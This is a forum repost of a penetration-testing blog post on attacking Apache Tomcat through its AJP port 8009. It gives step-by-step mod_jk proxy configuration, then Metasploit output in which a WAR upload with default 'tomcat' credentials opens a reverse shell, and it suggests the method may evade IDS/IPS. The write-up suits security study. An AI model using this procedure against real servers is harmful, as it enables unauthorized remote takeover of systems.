Jump to content
Nytro

8009, the forgotten Tomcat port

Recommended Posts

Posted

8009, the forgotten Tomcat port

We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:

What is JK (or AJP)?

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as
to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.

(apache must already be installed)

sudo apt-get install libapach2-mod-jk

sudo vim /etc/apache2/mods-available/jk.conf

# Where to find workers.properties

# Update this path to match your conf directory location

JkWorkersFile /etc/apache2/jk_workers.properties

# Where to put jk logs

# Update this path to match your logs directory location

JkLogFile /var/log/apache2/mod_jk.log

# Set the jk log level [debug/error/info]

JkLogLevel info

# Select the log format

JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

# JkOptions indicate to send SSL KEY SIZE,

JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories

# JkRequestLogFormat set the request format

JkRequestLogFormat "%w %V %T"

# Shm log file

JkShmFile /var/log/apache2/jk-runtime-status

sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf

sudo vim /etc/apache2/jk_workers.properties

# Define 1 real worker named ajp13

worker.list=ajp13

# Set properties for worker named ajp13 to use ajp13 protocol,

# and run on port 8009

worker.ajp13.type=ajp13

worker.ajp13.host=localhost

worker.ajp13.port=8009

worker.ajp13.lbfactor=50

worker.ajp13.cachesize=10

worker.ajp13.cache_timeout=600

worker.ajp13.socket_keepalive=1

worker.ajp13.socket_timeout=300

sudo vim /etc/apache2/sites-enabled/000-default

JkMount /* ajp13

JkMount /manager/ ajp13

JkMount /manager/* ajp13

JkMount /host-manager/ ajp13

JkMount /host-manager/* ajp13

sudo a2enmod proxy_ajp

sudo a2enmod proxy_http

sudo /etc/init.d/apache2 restart

Don’t forget to adjust worker.ajp13.host to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this. Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:

msf exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

Name Current Setting Required Description

---- --------------- -------- -----------

PASSWORD tomcat no The password for the specified username

PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)

Proxies no Use a proxy chain

RHOST localhost yes The target address

RPORT 80 yes The target port

USERNAME tomcat no The username to authenticate as

VHOST no HTTP server virtual host

Payload options (linux/x86/shell/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 192.168.195.156 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Automatic

msf exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.195.156:4444

[*] Attempting to automatically select a target...

[*] Automatically selected target "Linux x86"

[*] Uploading 1648 bytes as XWouWv7gyqklF.war ...

[*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp...

[*] Sending stage (36 bytes) to 192.168.195.155

[*] Undeploying XWouWv7gyqklF ...

[*] Command shell session 1 opened (192.168.195.156:4444 -> 192.168.195.155:39401)

id

uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)

References

Sursa: https://diablohorn.wordpress.com/2011/10/19/8009-the-forgotten-tomcat-port/

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...